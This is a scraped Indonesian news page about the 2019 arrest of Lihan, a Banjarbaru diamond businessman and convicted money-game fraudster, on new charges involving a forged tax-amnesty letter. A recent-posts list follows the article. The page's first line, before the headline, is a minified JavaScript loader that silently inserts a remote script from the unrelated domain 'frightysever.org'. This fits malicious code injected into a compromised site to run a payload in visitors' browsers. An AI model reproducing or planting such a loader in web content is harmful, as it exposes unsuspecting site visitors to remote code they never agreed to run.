(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Lihan Kembali Ditangkap, Asetnya Masih Ada di Luar Negeri?


BANJARBARU, Polsek Banjarbaru Kota menangkap Lihan, mantan pengusaha intan asal Cindai Alus, Martapura, Kalimantan Selatan, pernah dihukum berat atas kasus investasi bodong -money game- pada 2010 silam.

Kapolres Banjarbaru AKBP Kelana Jaya melalui Kapolsek Banjarbaru Kota AKP Purbo Raharjo, Minggu (22/9) membenarkan penangkapan pengusaha intan yang kasusnya menghebohkan seantero Kalsel itu.

“Lihan dijemput pada Rabu 18 September 2019 di perumahan Green Vally Residence Kav 39 Kelurahan Jatihandap, Kecamatan Mandala Jati, Kota Bandung, Jawa Barat,” ujar Kapolsek melalui Kanit Reskrim Iptu Yuli Tetro.

Menurut Tetro, Lihan yang sudah ditetapkan tersangka melanggar pasal 378 KUHP dan ditahan di sel mapolsek untuk menjalani proses hukum lebih lanjut atas dugaan penipuan yang dilakoninya.
Disebutkan, penangkapan dilakukan atas dasar LP/53/IX/2019/Kalsel/Res Bjb/Sek Bjb Kota 9 September 2019, sehingga petugas bergerak mendatangi tersangka di tempat tinggalnya tersebut.

Pelapor atau korban yakni H Hasyim Asy’ari, warga jalan Sukarelawan Kelurahan Loktabat Utara, Kecamatan Banjarbaru Utara dan saksi atas nama Darmawan Saputra, warga Komplek Balitra Jaya Loktabat Utara Kota Banjarbaru.

Laporan bermula dari kejadian pada Senin 5 September 2016 di rumah korban, tersangka Lihan mengatakan akan memasukkan uangnya di luar negeri sebesar Rp50 miliar tetapi harus ikut program Tax Amnesty.
Dalih Lihan, pengampunan pajak itu bisa diikuti dengan membayar sebesar Rp1,25 miliar dan tersangka meminta korban meminjamkan uang dengan janji segera mengembalikan uang tersebut.

Tersangka juga menjanjikan uang yang dikembalikan ditambah janji modal usaha, sehingga pelapor mengirimkan uang melalui via transfer dua bank berbeda sebanyak lima kali pengiriman ke rekening tersangka.

Sementara itu, tersangka mengirimkan bukti surat tax amnesty dikeluarkan kantor pajak Pratama Serpong Kota Tangerang Selatan. Provinsi Banten dan setelah diselidiki surat tax amnesty tersebut diduga palsu alias bodong.

Bukti surat tax amnesty diduga palsu diketahui setelah pemeriksaan yang dilakukan petugas ke kantor pajak Pratama Serpong dan ternyata surat itu tidak terdaftar di kantor pajak sehingga petugas menangkap Lihan.

Untuk diketahui, kasus investasi yang dijalankan Lihan menghebohkan Kalsel bahkan tanah air karena uang yang diduga dihimpunnya mencapai triliunan berasal dari dana nasabah yang jumlahnya ribuan orang.

Setelah menjalani persidangan, Lihan yang tinggal di kampung Cindai Alus Kecamatan Martapura Kota divonis penjara selama 9 tahun dan denda Rp10 miliar pada 2010 kemudian bebas bersyarat pada 2015 lalu.

Sekadar kembali meingatkan, pada 2010 warga Kalsel dihebohkan runtuhnya ‘kerajaan’ bisnis investasi -money game- Lihan dibawah payung PT Tri Abadi Mandiri di mana bisnis itu diduga melibatkan tiga ribu lebih investor dan uang terkumpul Rp817 miliar. (rico)

Reporter : Rico
Editor : Bie

 


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.